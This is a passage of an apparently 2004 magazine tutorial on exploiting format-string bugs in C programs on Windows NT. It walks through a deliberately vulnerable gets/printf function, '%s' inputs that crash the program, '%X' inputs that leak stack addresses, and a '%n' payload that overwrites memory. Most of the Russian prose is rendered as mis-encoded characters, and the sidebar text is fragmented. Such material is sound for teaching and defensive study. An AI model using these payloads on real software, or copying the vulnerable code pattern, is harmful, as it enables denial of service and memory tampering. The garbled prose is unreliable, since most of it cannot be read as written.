êî; â îáùåì, íåëüçÿ ñ÷èòàòü, ÷òî îí
íàõîäèòñÿ â áåçîïàñíîñòè. È ñåé÷àñ
òû â ýòîì óáåäèøüñÿ!

ÈÑÒÎ×ÍÈÊÈ ÓÃÐÎÇÛ
Îñíîâíûõ èñòî÷íèêîâ óãðîçû òðè:

à) íàâÿçûâàíèå áàæíîé ïðîãðàììå
ñîáñòâåííûõ ñïåöèôèêàòîðîâ; á)
âðîæäåííûé äèñáàëàíñ ñïåöèôèêàòî-
ðîâ; â) åñòåñòâåííîå ïåðåïîëíåíèå
áóôåðà-ïðèåìíèêà ïðè îòñóòñòâèè
ïðîâåðêè íà ïðåäåëüíî äîïóñòèìóþ
äëèíó ñòðîêè.

ÍÀÂßÇÛÂÀÍÈÅ ÑÎÁÑÒÂÅÍÍÛÕ
ÑÏÅÖÈÔÈÊÀÒÎÐÎÂ

Åñëè ïîëüçîâàòåëüñêèé ââîä ïî-
ïàäåò â ñòðîêó ôîðìàòíîãî âûâîäà
(÷òî ïðîèñõîäèò äîâîëüíî ÷àñòî) è íà-
õîäÿùèåñÿ â íåì ñïåöèôèêàòîðû íå
áóäóò îòôèëüòðîâàíû, çëîóìûøëåí-
íèê ñìîæåò ìàíèïóëèðîâàòü èíòåðï-
ðåòàòîðîì ôîðìàòíîãî âûâîäà ïî
ñâîåìó óñìîòðåíèþ, âûçûâàÿ îøèáêè
äîñòóïà, ÷èòàÿ è ïåðåçàïèñûâàÿ ÿ÷åé-
êè ïàìÿòè è ïðè áëàãîïðèÿòíûõ óñëî-
âèÿõ çàõâàòûâàÿ óïðàâëåíèå óäàëåí-
íîé ñèñòåìîé.

Ðàññìîòðèì ñëåäóþùèé ïðèìåð, ê
êîòîðîìó ìû íå ðàç áóäåò îáðàùàòüñÿ
â äàëüíåéøåì.

f(){
char buf_in[32], buf_out[32];
printf("ââåäè èìÿ:"); gets(buf_in);
sprintf(buf_out, "hello, %s!\n", buf_in);
printf(buf_out);

}

ÐÅÀËÈÇÀÖÈß DOS
Äëÿ àâàðèéíîãî çàâåðøåíèÿ

ïðîãðàììû äîñòàòî÷íî âûçâàòü íàðó-
øåíèå äîñòóïà, îáðàòèâøèñü ê íåâû-
äåëåííîé, íåñóùåñòâóþùåé èëè çàá-
ëîêèðîâàííîé ÿ÷åéêå ïàìÿòè. Ýòî ëåã-
êî. Âñòðåòèâ ñïåöèôèêàòîð "%s", èí-
òåðïðåòàòîð ôîðìàòíîãî âûâîäà èçâ-
ëåêàåò èç ñòåêà ïàðíûé åìó àðãóìåíò,
òðàêòóÿ åãî êàê óêàçàòåëü íà ñòðîêó.
Åñëè æå òîò îòñóòñòâóåò, èíòåðïðåòà-
òîð õâàòàåò ïåðâûé ïîïàâøèéñÿ óêà-
çàòåëü è íà÷èíàåò ÷èòàòü ñîäåðæèìîå
ïàìÿòè ïî ýòîìó àäðåñó äî òåõ ïîð, ïî-
êà íå âñòðåòèò íóëü èëè íå íàðâåòñÿ
íà çàïðåùåííóþ ÿ÷åéêó. Ïîëèòèêà
çàïðåòîâ âàðüèðóåòñÿ îò îäíîé îïå-
ðàöèîííîé ñèñòåìû ê äðóãîé, â ÷àñò-
íîñòè, ïðè îáðàùåíèè ïî àäðåñàì
00000000h - 0000FFFFh è 7FFF000h
- FFFFFFFFh Windows NT âñåãäà âîç-
áóæäàåò èñêëþ÷åíèå. Îñòàëüíûå æå
àäðåñà â çàâèñèìîñòè îò ñîñòîÿíèÿ
êó÷è, ñòåêà è ñòàòè÷åñêîé ïàìÿòè ìî-
ãóò áûòü êàê äîñòóïíûìè, òàê è íåò.

Îòêîìïèëèðóåì ïðèìåð, ïðèâåäåí-
íûé âûøå, è çàïóñòèì åãî íà âûïîë-
íåíèå. Âìåñòî ñâîåãî èìåíè ââåäåì

ñòðîêó "%s". Ïðîãðàììà âûäàñò ñëå-
äóþùåå:

ââåäè èìÿ: %s
hello, hello, %s!\n!"

×òîáû ïîíÿòü, ÷òî òàêîå "hello, %s!"
è îòêóäà îíî çäåñü âçÿëîñü, íåîáõîäè-
ìî ïðîàíàëèçèðîâàòü ñîñòîÿíèå ñòåêà
íà ìîìåíò âûçîâà printf(buf_out), â
÷åì íàì ïîìîæåò îòëàä÷èê, íàïðèìåð
òîò, êîòîðûé èíòåãðèðîâàí â Microsoft
Visual Studio (ñì. ñêðèí).

Ïåðâûì èäåò äâîéíîå ñëîâî
0012FF5Ch (íà ìèêðîïðîöåññîðàõ àð-
õèòåêòóðû Intel ìëàäøèé áàéò ðàñïî-
ëàãàåòñÿ ïî ìåíüøåìó àäðåñó, òî åñòü
âñå ÷èñëà çàïèñûâàþòñÿ â ïàìÿòè â
îáðàòíîì ïîðÿäêå). Ýòî óêàçàòåëü, ñî-
îòâåòñòâóþùèé àðãóìåíòó ôóíêöèè
printf, êîòîðîìó, â ñâîþ î÷åðåäü, ñîîò-
âåòñòâóåò áóôåð buf_out, ñîäåðæà-
ùèé íåïàðíûé ñïåöèôèêàòîð "%s" è
çàñòàâëÿþùèé ôóíêöèþ printf èçâëå-
êàòü ñëåäóþùåå äâîéíîå ñëîâî èç
ñòåêà, êîòîðîå ïðåäñòàâëÿåò ñîáîé
îáûêíîâåííûé ìóñîð, îñòàâëåííûé
ïðåäûäóùåé ôóíêöèåé. Ïî ñòå÷åíèþ
îáñòîÿòåëüñòâ îí (ìóñîð è óêàçàòåëü
îäíîâðåìåííî) óêàçûâàåò íà òîò æå
ñàìûé buf_out, è ïîòîìó íàðóøåíèÿ
äîñòóïà íå ïðîèñõîäèò, çàòî ñëîâî
"hello" âûâîäèòñÿ äâàæäû.

Áóäåì ðûòü äàëüøå, ñíèìàÿ ñî ñòåêà
ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü àä-
ðåñîâ: 00408000h (óêàçàòåëü íà ñòðî-
êó "hello, %s!\n"), 0012FF3Ch (óêàçà-
òåëü íà buf_out), 0012FF3Ch (ñíîâà îí),
0040800Ch (óêàçàòåëü íà ñòðîêó
"ââåäè èìÿ:"), 73257325h (ñîäåðæèìîå
áóôåðà buf_in, òðàêòóåìîå êàê óêàçà-
òåëü, ìåæäó ïðî÷èì óêàçûâàþùèé íà
íåâûäåëåííóþ ÿ÷åéêó ïàìÿòè).

Òàêèì îáðàçîì, ïåðâûå ïÿòü ñïåöè-
ôèêàòîðîâ "%s" ïðîõîäÿò ñêâîçü èí-
òåðïðåòàòîð ôîðìàòíîãî âûâîäà
âïîëíå áåçáîëåçíåííî, à âîò øåñòîé
ïîñûëàåò åãî â êîñìîñ. Ïðîöåññîð
âûáðàñûâàåò èñêëþ÷åíèå, è âûïîëíå-
íèå ïðîãðàììû àâàðèéíî ïðåêðàùàåò-
ñÿ. Ðàçóìååòñÿ, ñïåöèôèêàòîðîâ íå
îáÿçàòåëüíî äîëæíî áûòü ðîâíî
øåñòü - äî îñòàëüíûõ âñå ðàâíî íå
äîéäåò óïðàâëåíèå.

Î

B
U

F
F

E
R

 
O

V
E

R
F

L
O

W

ÕÀÊÅÐÑÏÅÖ   08(45)   2004

Äëÿ àâàðèé-
íîãî çàâåð-
øåíèÿ ïðîã-
ðàììû äîñ-
òàòî÷íî
âûçâàòü íà-
ðóøåíèå
äîñòóïà, îá-
ðàòèâøèñü
ê íåâûäå-
ëåííîé, íå-
ñóùåñòâóþ-
ùåé èëè
çàáëîêèðî-
âàííîé
ÿ÷åéêå ïà-
ìÿòè.

Äî ñèõ ïîð
íå çàôèêñè-
ðîâàíî íè
îäíîé àòàêè
ñ ïîìîùüþ
ôîðìàòíîãî
ââîäà íà
ïðèëîæåíèÿ
Windows
NT.

Ñîñòîÿíèå ñòåêà íà ìîìåíò âûçîâà ôóíêöèè printf

ÄÅÐÍÈ PRINTF ÇÀ ÕÂÎÑÒ32 ÎÑÍÎÂÛ



Îáðàòè âíèìàíèå: Windows NT ïðè-
âîäèò èìåííî òîò àäðåñ, êîòîðûé ìû è
îæèäàëè.

ÐÅÀËÈÇÀÖÈß PEEK
Äëÿ ïðîñìîòðà ñîäåðæèìîãî ïà-

ìÿòè óÿçâèìîé ïðîãðàììû ìîæíî âîñ-
ïîëüçîâàòüñÿ ñïåöèôèêàòîðàìè
"%X", "%d" è "%c". Ñïåöèôèêàòîðû
"%X" è "%d" èçâëåêàþò ïàðíîå èì
äâîéíîå ñëîâî èç ñòåêà è âûâîäÿò åãî
â øåñòíàäöàòåðè÷íîì èëè äåñÿòè÷íîì
âèäå ñîîòâåòñòâåííî. Ñïåöèôèêàòîð
"%c" èçâëåêàåò ïàðíîå äâîéíîå ñëî-
âî èç ñòåêà, ïðåîáðàçóåò åãî äî îäíî-
áàéòîâîãî òèïà char è âûâîäèò â ñèì-
âîëüíîì âèäå, îòñåêàÿ òðè ñòàðøèõ
áàéòà. Òàêèì îáðàçîì, íàèáîëåå çíà-
÷èìûìè èç âñåõ ÿâëÿþòñÿ ñïåöèôèêà-
òîðû "%X" è "%c".

Êàæäûé ñïåöèôèêàòîð "%X" îòîá-
ðàæàåò âñåãî ëèøü îäíî äâîéíîå ñëî-
âî, ëåæàùåå â íåïîñðåäñòâåííîé áëè-
çîñòè îò âåðøèíû ñòåêà (òî÷íîå ðàñ-
ïîëîæåíèå çàâèñèò îò ïðîòîòèïà âû-
çûâàåìîé ôóíêöèè). Ñîîòâåòñòâåííî,
N ñïåöèôèêàòîðîâ îòîáðàæàþò 4*N
áàéò, à ìàêñèìàëüíàÿ ãëóáèíà ïðîñ-
ìîòðà ðàâíà 2*C, ãäå C - ïðåäåëüíî

äîïóñòèìûé ðàçìåð ïîëüçîâàòåëüñêî-
ãî ââîäà â áàéòàõ. Óâû! ×èòàòü âñþ
ïàìÿòü óÿçâèìîãî ïðèëîæåíèÿ íàì
íèêòî íå äàñò, îòäàâàÿ íà ðàñòåðçàíèå
ëèøü êðîøå÷íûé êóñî÷åê, â êîòîðîì,
åñëè ïîâåçåò, ìîãóò âñòðåòèòüñÿ ñåê-
ðåòíûå äàííûå (íàïðèìåð, ïàðîëè)
èëè óêàçàòåëè íà íèõ. Âïðî÷åì, óçíàòü
òåêóùåå ïîëîæåíèå óêàçàòåëÿ òîæå
íåïëîõî. Íî îáî âñåì ïî ïîðÿäêó.

Çàïóñòèì íàøó äåìîíñòðàöèîííóþ
ïðîãðàììó è ââåäåì ñïåöèôèêàòîð
"%X". Îíà îòâåòèò:

ââåäè èìÿ: %X
hello, 12FF5C!

Îòêóäà âçÿëîñü 12FF5C? Îáðàùàÿñü
ê äàìïó ïàìÿòè, ìû âèäèì, ÷òî ýòî -
äâîéíîå ñëîâî, ñëåäóþùåå çà àðãó-
ìåíòîì buf_out è ïðåäñòàâëÿþùåå ñî-
áîé ðåçóëüòàò æèçíåäåÿòåëüíîñòè
ïðåäûäóùåé ôóíêöèè, èëè, ïîïðîñòó
ãîâîðÿ, ìóñîð. Íó è êàêàÿ íàì ðàäîñòü
îò ýòîãî? Áóôåð ñîäåðæèò íàø
ñîáñòâåííûé ââîä, â êîòîðîì çàâåäî-
ìî íåò íè÷åãî èíòåðåñíîãî. Íî ýòî
ëèøü ÷àñòü àéñáåðãà. Êàê óæå ãîâîðè-
ëîñü â ñòàòüå, ïîñâÿùåííîé ïåðåïîë-

íÿþùèìñÿ áóôåðàì, äëÿ ïåðåäà÷è óï-
ðàâëåíèÿ íà shell-êîä íåîáõîäèìî
çíàòü åãî àáñîëþòíûé àäðåñ, êîòîðûé
â áîëüøèíñòâå ñëó÷àåâ íåèçâåñòåí, è
ñïåöèôèêàòîð "%X" êàê ðàç è âûâî-
äèò åãî íà ýêðàí!

Òåïåðü ââåäåì íåñêîëüêî ñïåöèôè-
êàòîðîâ "%X", äëÿ óäîáñòâà ðàçäåëèâ
èõ ïðîáåëàìè:

ââåäè èìÿ: %X %X %X %X %X %X %X
hello, 12FF5C 408000 12FF3C 12FF3C 40800C
25205825 58252058!

Îáðàòè âíèìàíèå íà äâà ïîñëåäíèõ
äâîéíûõ ñëîâà. Äà ýòî æå ñîäåðæè-
ìîå áóôåðà ïîëüçîâàòåëüñêîãî ââî-
äà! Âåäü ACSII-ñòðîêà "%X " â øåñò-
íàäöàòåðè÷íîì ïðåäñòàâëåíèè âûãëÿ-
äèò êàê "25 58 20".

Èäåÿ - ñôîðìèðîâàòü óêàçàòåëü íà
èíòåðåñóþùóþ íàñ ÿ÷åéêó ïàìÿòè, ïî-
ëîæèòü åãî â áóôåð, à çàòåì íàòðà-
âèòü íà íåãî ñïåöèôèêàòîð "%s", ÷è-
òàþùèé ïàìÿòü âïëîòü äî âñòðå÷è ñ
íóëåâûì áàéòîì èëè çàïðåùåííîé
ÿ÷åéêîé. Íóëåâîé áàéò íå ïîìåõà,
äîñòàòî÷íî ñôîðìèðîâàòü íîâûé óêà-
çàòåëü, ðàñïîëîæåííûé çà åãî õâîñ-
òîì. Çàïðåùåííûå ÿ÷åéêè íàìíîãî êî-
âàðíåå - âñÿêàÿ ïîïûòêà äîñòóïà ê
íèì âûçûâàåò àâàðèéíîå çàâåðøåíèå
ïðîãðàììû, è, äî òåõ ïîð ïîêà àäìèíè-
ñòðàòîð íå ïîäíèìåò óïàâøèé ñåðâåð,
àòàêóþùåìó ïðèäåòñÿ ñêó÷àòü è ïèòü
ïèâî. À ïîñëå ïåðåçàïóñêà ðàñïîëî-
æåíèå óÿçâèìûõ áóôåðîì äàííûõ ìî-
æåò îêàçàòüñÿ ñîâñåì èíûì, ÷òî îáåñ-
öåíèò âñå ðàíåå ïîëó÷åííûå ðåçóëü-
òàòû. Êîíå÷íî, âîëêîâ áîÿòüñÿ - â ëåñ
íå õîäèòü, íî è ñîâàòüñÿ â âîäó, íå
çíàÿ áðîäó, òîæå íå ñòîèò. Â îáùåì,
ñî ñïåöèôèêàòîðîì "%s" ñëåäóåò
áûòü ïðåäåëüíî îñòîðîæíûì, à òî íå-
äîëãî è DoS ñõëîïîòàòü.

Äîïóñòèì, ìû õîòèì ïðî÷èòàòü ñî-
äåðæèìîå ïàìÿòè ïî àäðåñó
77F86669h (ïî íåé ìîæíî îïðåäåëèòü
âåðñèþ îïåðàöèîííîé ñèñòåìû, òàê
êàê ó âñåõ îíà ðàçíàÿ). Ðàñïîëîæåíèå
áóôåðà ïîëüçîâàòåëüñêîãî ââîäà íàì
óæå èçâåñòíî - àêòóàëüíûå äàííûå íà-
÷èíàþòñÿ ñ øåñòîãî äâîéíîãî ñëîâà
(ñì. ëèñòèíã). Îñòàåòñÿ ïîäãîòîâèòü áî-
åâóþ íà÷èíêó. Ââîäèì öåëåâîé àäðåñ,
çàïèñûâàÿ åãî â îáðàòíîì ïîðÿäêå è
íàáèðàÿ íåïå÷àòíûå ñèìâîëû ñ ïî-
ìîùüþ <ALT> è öèôðîâîé êëàâèàòóðû.
Äîáàâëÿåì ê íèì øåñòü ñïåöèôèêàòî-
ðîâ "%X", "%d" èëè "%c" (ïîñêîëüêó
ñîäåðæèìîå ýòèõ ÿ÷ååê íàñ íèêàê íå
âîëíóåò, ïîäîéäóò ëþáûå). Äîáàâëÿåì
îïîçíàâàòåëüíûé çíàê, íàïðèìåð
çâåçäî÷êó èëè äâîåòî÷èå, çà êîòîðûì
áóäåò èäòè ñïåöèôèêàòîð âûâîäà
ñòðîêè "%s". È, íàêîíåö, ñêàðìëèâàåì
ïîëó÷åííûé ðåçóëüòàò ïðîãðàììå
(îïîçíàâàòåëüíûé çíàê íåîáõîäèì
äëÿ òîãî, ÷òîáû áûñòðî îïðåäåëèòü,
ãäå êîí÷àåòñÿ ìóñîð, à ãäå íà÷èíàþòñÿ
àêòóàëüíûå äàííûå)

Åñëè ïåðåâåñòè ñèìâîëû â ñòðîêå
ïîñëå äâîåòî÷èÿ â øåñòíàäöàòåðè÷-
íóþ ôîðìó, ïîëó÷èòñÿ 8B 46 B3 40 3E
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Unicode-
ôóíêöèè
èñïîëüçóþò
äëÿ çàâåð-
øåíèÿ ñòðî-
êè äâîéíîé
ñèìâîë íóëÿ
è ê îäèíî÷-
íûì íóëÿì
îòíîñÿòñÿ
äîâîëüíî
ëîÿëüíî.

Åñëè ïîëü-
çîâàòåëüñ-
êèé ââîä
ïîïàäåò â
ñòðîêó ôîð-
ìàòíîãî âû-
âîäà, çëîó-
ìûøëåííèê
ñìîæåò ìà-
íèïóëèðî-
âàòü èíòåð-
ïðåòàòîðîì
ôîðìàòíîãî
âûâîäà ïî
ñâîåìó óñ-
ìîòðåíèþ.

Ðåàêöèÿ ïðîãðàììû íà øåñòü ñïåöèôèêàòîðîâ �%s�

Óñëóãàìè èíòåðïðåòàòîðà ôîðìàòíîãî ââîäà/âûâîäà ïîëüçóåòñÿ
ìíîæåñòâî ôóíêöèé, íå òîëüêî printf è íå òîëüêî â êîíñîëüíûõ ïðîã-
ðàììàõ. Ãðàôè÷åñêèå
ïðèëîæåíèÿ è ñåðâåð-
íîå ïðîãðàììíîå îáåñ-
ïå÷åíèå, èñïîëíÿþ-
ùååñÿ ïîä Windows
NT, àêòèâíî èñïîëüçó-
þò ôóíêöèþ sprintf,
âûâîäÿùóþ îòôîðìà-
òèðîâàííóþ ñòðîêó â
îïåðàòèâíûé áóôåð.

Ïåðå÷èñëåííûå â òàá-
ëèöå ôóíêöèè ñàìè ïî
ñåáå íå îïàñíû. Îïàñ-
íûìè èõ äåëàåò íàëè-
÷èå ïîëüçîâàòåëüñêî-
ãî ââîäà â ôîðìàòíîì
àðãóìåíòå. Èìåííî òà-
êèå ó÷àñòêè êîäà è
íóæíî èñêàòü ïðè èñ-
ñëåäîâàíèè ïðîãðàì-
ìû íà óÿçâèìîñòü.

ÔÓÍÊÖÈÈ, ÏÎÄÄÅÐÆÈÂÀÞÙÈÅ ÔÎÐÌÀÒÈÐÎÂÀÍÍÛÉ
ÂÛÂÎÄ

ôôóóííêêööèèÿÿ ííààççííàà÷÷ååííèèåå

fprintf ASCII ôîðìàòèðîâàííûé âûâîä â
ôàéëfwprintf UNICODE

fscanf ASCII ôîðìàòèðîâàííûé ââîä ñ
ïîòîêàfwscanf UNICODE

printf ASCII ôîðìàòèðîâàííûé âûâîä â
stdoutwprintf UNICODE

scanf ASCII ôîðìàòèðîâàííûé ââîä ñ
stdinwscanf UNICODE

_snprintf ASCII ôîðìàòèðîâàííûé âûâîä â
áóôåð ñ îãðàíè÷èòåëåì äëèíû_snwprintf UNICODE

sprintf ASCII ôîðìàòèðîâàííûé âûâîä â
áóôåðswprintf UNICODE

sscanf ASCII ôîðìàòèðîâàííûé ââîä èç
áóôåðàswscanf UNICODE

vfprintf ASCII ôîðìàòèðîâàííûé âûâîä â
ïîòîê (stream)vfwprintf UNICODE

vprintf ASCII ôîðìàòèðîâàííûé âûâîä â
stdoutvwprintf UNICODE

_vsnprintf ASCII ôîðìàòèðîâàííûé âûâîä â
áóôåð ñ îãðàíè÷èòåëåì äëèíû_vsnwprintf UNICODE

vsprintf ASCII ôîðìàòèðîâàííûé âûâîä â
áóôåð



B3 00. Îòêóäà âçÿëñÿ íóëü? Ýòî ASIIZ-
ñòðîêà, è íóëü ñëóæèò åå çàâåðøèòå-
ëåì. Åñëè áû åãî çäåñü íå îêàçàëîñü,
ñïåöèôèêàòîð "%s" âûâåë áû íà ýê-
ðàí íàìíîãî áîëüøå èíôîðìàöèè.

Ôàêòè÷åñêè ìû ðåàëèçîâàëè àíàëîã
áåéñèê-ôóíêöèè peek, ñóäüáîíîñíîñòü
êîòîðîé óæå îáñóæäàëàñü â äðóãîé
ñòàòüå, îäíàêî íå ñïåøè îòêðûâàòü íà
ðàäîñòÿõ ïèâî. Äàííàÿ ðåàëèçàöèÿ
peek'à î÷åíü îãðàíè÷åíà â âîçìîæíîñ-
òÿõ. Óêàçàòåëü, ñôîðìèðîâàííûé â íà-
÷àëå áóôåðà, íå ìîæåò ñîäåðæàòü â
ñåáå ñèìâîë íóëÿ, à ïîòîìó ïåðâûå
17 Ìáàéò àäðåñíîãî ïðîñòðàíñòâà íå-
äîñòóïíû äëÿ ïðîñìîòðà. Óêàçàòåëü,
ñôîðìèðîâàííûé â êîíöå áóôåðà, ìî-
æåò óêàçûâàòü ïðàêòè÷åñêè íà ëþáîé
àäðåñ, ïîñêîëüêó ñòàðøèé áàéò àäðåñà
óäà÷íî ñîâïàäàåò ñ ñèìâîëîì çàâåð-
øàþùåãî íóëÿ, îäíàêî, ÷òîáû äîòÿ-
íóòüñÿ äî òàêîãî óêàçàòåëÿ, ïîòðåáóåò-
ñÿ ïåðåñå÷ü âåñü áóôåð öåëèêîì, à
ýòî íå âñåãäà âîçìîæíî.

Äèçàññåìáëåð óòâåðæäàåò, ÷òî ïî
àäðåñó 004053B4h â íàøåé äåìîí-
ñòðàöèîííîé ïðîãðàììå ðàñïîëîæåí
êîïèðàéò ôèðìû Microsoft.

Äàâàé âûâåäåì åãî íà ýêðàí. Êàê ìû
ïîìíèì, íà÷àëî áóôåðà ñîîòâåòñòâó-
åò øåñòîìó ñïåöèôèêàòîðó. Êàæäûé
ñïåöèôèêàòîð çàíèìàåò äâà áàéòà è
ñíèìàåò ñî ñòåêà ÷åòûðå. Åùå äâà
áàéòà óõîäÿò íà ñïåöèôèêàòîð "%s",
âûâîäÿùèé ñòðîêó. Òàê ñêîëüêî âñåãî
íàäî ïåðåäàòü ñïåöèôèêàòîðîâ ïðîã-
ðàììå? Ñîñòàâëÿåì ïðîñòåíüêîå ëè-
íåéíîå óðàâíåíèå è ñõîäó ðåøàåì
åãî, ïîëó÷àÿ â îòâåòå äâåíàäöàòü.
Îäèííàäöàòü èç íèõ âûãðåáàþò ñî
ñòåêà âñå ëèøíåå, à äâåíàäöàòûé âû-
âîäèò ñîäåðæèìîå ðàñïîëîæåííîãî
çà íèì óêàçàòåëÿ.

Óêàçàòåëü ôîðìèðóåòñÿ òðèâèàëü-
íî: îòêðûâàåì ASCII-òàáëèöó ñèìâî-
ëîâ (êàê âàðèàíò - çàïóñêàåì HIEW) è
ïåðåâîäèì 4053B4h â ñèìâîëüíîå
ïðåäñòàâëåíèå. Âûâîðà÷èâàåì åãî íà-
èçíàíêó è ââîäèì â ïðîãðàììó, ïðè
íåîáõîäèìîñòè èñïîëüçóÿ öèôðîâóþ
êëàâèàòóðó è êëàâèøó <ALT> (ñì.
ñêðèí).

Ïîëó÷èëîñü! Ìû ñäåëàëè ýòî!
Äåéñòâóÿ è äàëüøå òàêèì ìàêàðîì,
ìû ñìîæåì ïðîñìîòðåòü ïðàêòè÷åñêè
âñþ äîñòóïíóþ ïàìÿòü ïðîãðàììû. 

ÐÅÀËÈÇÀÖÈß POKE
Ñïåöèôèêàòîð "%n" çàïèñûâàåò â

ïàðíûé åìó óêàçàòåëü êîëè÷åñòâî âû-
âåäåííûõ íà äàííûé ìîìåíò áàéò, òåì
ñàìûì ïîçâîëÿÿ íàì ìîäèôèöèðî-
âàòü ñîäåðæèìîå óêàçàòåëåé ïî ñâîå-
ìó óñìîòðåíèþ. Îáðàòè âíèìàíèå: ìî-
äèôèöèðóåòñÿ íå ñàì óêàçàòåëü, à òî,
íà ÷òî îí óêàçûâàåò! 

Ïåðåä äåìîíñòðàöèåé íàì íåîáõîäè-
ìî íàéòè â ñòåêîâîì õëàìå ïîäõîäÿ-
ùèé óêàçàòåëü, ïðåäâàðèòåëüíî ïðî-
÷èòàâ åãî ñîäåðæèìîå ñòðîêîé òèïà
"%X %X %X", êàê ìû óæå äåëàëè. Âû-
áåðåì 12FF3Ch, óêàçàòåëü íà áóôåð
ïîëüçîâàòåëüñêîãî ââîäà buf_in. ×òî-
áû åãî äîñòàòü, íóæíî ñíÿòü ñî ñòåêà
äâà äâîéíûõ ñëîâà; ýòèì ó íàñ çàéìóò-
ñÿ ñïåöèôèêàòîðû "%c%c".

Òåïåðü îïðåäåëèìñÿ ñ ÷èñëîì, êîòî-
ðîå ìû õîòèì çàïèñàòü. Çàïèñûâàòü
ìîæíî òîëüêî ìàëåíüêèå ÷èñëà - íà
áîëüøèå ïðîñòî íå õâàòèò ðàçìåðà
áóôåðà. Ñîéäåìñÿ íà ÷èñëå 0Fh (ýòî
íå÷åòíîå ÷èñëî, ÷åòíûå ïðèíîñÿò
íåñ÷àñòüå :). Ñ÷èòàåì: äâà ñèìâîëà
âûâîäÿò ñïåöèôèêàòîðû, ñíèìàþùèå
ëèøíèå äâîéíûå ñëîâà ñ âåðõóøêè
ñòåêà, ñåìü ïðèõîäèòñÿ íà ñòðîêó
"hello, " (äà-äà, îíà òîæå â äîëå), òîã-
äà ó íàñ îñòàåòñÿ: 0Fh - 02h - 07h =
= 06h. Øåñòü ñèìâîëîâ, êîòîðûå ìû
äîëæíû ââåñòè ñàìîñòîÿòåëüíî. Îíè
ìîãóò áûòü ëþáûìè, íàïðèìåð, "qwer-
ty" èëè ÷òî-òî â ýòîì ðîäå. Îñòàåòñÿ
äîáàâèòü ñïåöèôèêàòîð "%n", è
ñôîðìèðîâàííóþ ñòðîêó ìîæíî ïåðå-
äàòü ïðîãðàììå:

ââåäè èìÿ: qwerty%c%c%n
hello, qwerty\ !

Ïîñêîëüêó ìîäèôèêàöèÿ áóôåðà
îñóùåñòâëÿåòñÿ ïîñëå åãî âûâîäà íà
ýêðàí, äîêàçàòåëüñòâà ïåðåçàïèñè ïà-
ìÿòè ïðèõîäèòñÿ äîáûâàòü â îòëàä÷è-
êå. Çàãðóçèâ ïîäîïûòíóþ ïðîãðàììó â
Microsoft Visual Studio (èëè ëþáîé
äðóãîé îòëàä÷èê íà òâîé âêóñ), óñòà-
íîâè òî÷êó îñòàíîâà ïî àäðåñó
401000 (àäðåñ ôóíêöèè main) èëè, ïî-
äîãíàâ ê íåé êóðñîð (Ctrl+G, Address,
"401000", <Enter>), íàæìè Ctrl+F10 äëÿ
ïðîïóñêà èíñòðóêöèé ñòàðòîâîãî êîäà,
ñîâåðøåííî íå èíòåðåñóþùåãî íàñ â
íàñòîÿùèé ìîìåíò.

Ïîøàãîâî òðàññèðóÿ ïðîãðàììó ïî
F10 (Step Over - òðàññèðîâêà áåç çàõî-
äà âíóòðü ôóíêöèé), ââåäè çàäàííóþ
ñòðîêó, êîãäà òåáÿ îá ýòîì ïîïðîñÿò
(ýêðàí êîíñîëè íà÷íåò ïðèçûâíî ìè-
ãàòü) è ïðîäîëæàé òðàññèðîâêó
âïëîòü äî äîñòèæåíèÿ ñòðîêè
0040103Ñh, âûçûâàþùåé ôóíêöèþ
printf. Òåïåðü ïåðåéäè â îêíî äàìïà
ïàìÿòè è ââåäè â àäðåñíîé ñòðîêå
"ESP", ñîîáùàÿ îòëàä÷èêó, ÷òî íàì
óãîäíî ïðîñìîòðåòü ñîäåðæèìîå ñòå-
êà, à çàòåì âåðíèñü ê äèçàññåìáëåð-
íîìó êîäó è íàæìè F10 åùå ðàç.

Ñîäåðæèìîå áóôåðà ïîëüçîâà-
òåëüñêîãî ââîäà íåìåäëåííî èçìå-
íèòñÿ, ïîäñâå÷èâàÿ ÿäîâèòî-êðàñíûì
öâåòîì ÷èñëî "0F 00 00 00", çàïè-
ñàííîå â åãî íà÷àëå. Ïåðåçàïèñü
âûáðàííîé ÿ÷åéêè ïàìÿòè óñïåøíî
ñîñòîÿëàñü!

Íàïîìèíàþ, åñëè ñïåöèôèêàòîðû
ïåðåêðûâàþò áóôåð ïîëüçîâàòåëüñ-
êîãî ââîäà, ìû ìîæåì ñàìîñòîÿòåëü-
íî ñôîðìèðîâàòü óêàçàòåëü, ïåðåçà-

ïèñûâàÿ âûáðàííûå ÿ÷åéêè ïàìÿòè
ïðîèçâîëüíûì îáðàçîì. Òî åñòü ïî÷-
òè ïðîèçâîëüíûì. Ê îãðàíè÷åíèÿì
âûáîðà öåëåâûõ àäðåñîâ òåïåðü åùå
ïðèñîåäèíÿþòñÿ è îãðàíè÷åíèÿ âûáî-
ðà ïåðåçàïèñûâàåìîãî çíà÷åíèÿ, êî-
òîðûå, ìåæäó ïðî÷èì, î÷åíü æåñòêè.

ÄÈÑÁÀËÀÍÑ
ÑÏÅÖÈÔÈÊÀÒÎÐÎÂ

Êàæäîìó ñïåöèôèêàòîðó äîëæåí
ñîîòâåòñòâîâàòü ïàðíûé àðãóìåíò. Íî
äîëæåí åùå íå çíà÷èò îáÿçàí. Âåäü
ñïåöèôèêàòîðû è àðãóìåíòû ïðîãðàì-
ìèñòó ïðèõîäèòñÿ íàáèâàòü âðó÷íóþ,
è åìó íè÷åãî íå ñòîèò îøèáèòüñÿ!
Òðàíñëÿòîð îòêîìïèëèðóåò òàêóþ
ïðîãðàììó âïîëíå íîðìàëüíî, âîç-
ìîæíî, íåãðîìêî âûðóãàâøèñü ïðè
ýòîì è âûäàâ íà ýêðàí ïðåäóïðåæäàþ-
ùèé warning. Íî ÷òî ïðîèçîéäåò ïî-
òîì?

Åñëè àðãóìåíòîâ îêàæåòñÿ áîëüøå,
÷åì ñïåöèôèêàòîðîâ, "ëèøíèå" áóäóò
ïðîèãíîðèðîâàíû. Â ïðîòèâíîì ñëó-
÷àå ôóíêöèÿ ôîðìàòèðîâàííîãî âû-
âîäà, íå çíàÿ ñêîëüêî åé àðãóìåíòîâ
ðåàëüíî ïåðåäàëè, ñíèìåò ñî ñòåêà
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Ìîäèôèöè-
ðóåìàÿ ñ
ïîìîùüþ
õèòðîñòè ñî
ñïåöèôèêà-
òîðîì
"%n",
ÿ÷åéêà
äîëæíà ïðè-
íàäëåæàòü
ñòðàíèöå ñ
àòðèáóòîì
PAGE_READ
WRITE, â
ïðîòèâíîì
ñëó÷àå ïðî-
öåññ ñãåíå-
ðèðóåò èñê-
ëþ÷åíèå.

snprintf
çíà÷èòåëü-
íî áåçîïàñ-
íåå sprintf,
òàê êàê
êîíòðîëèðó-
åò ðàçìåð
áóôåðà-
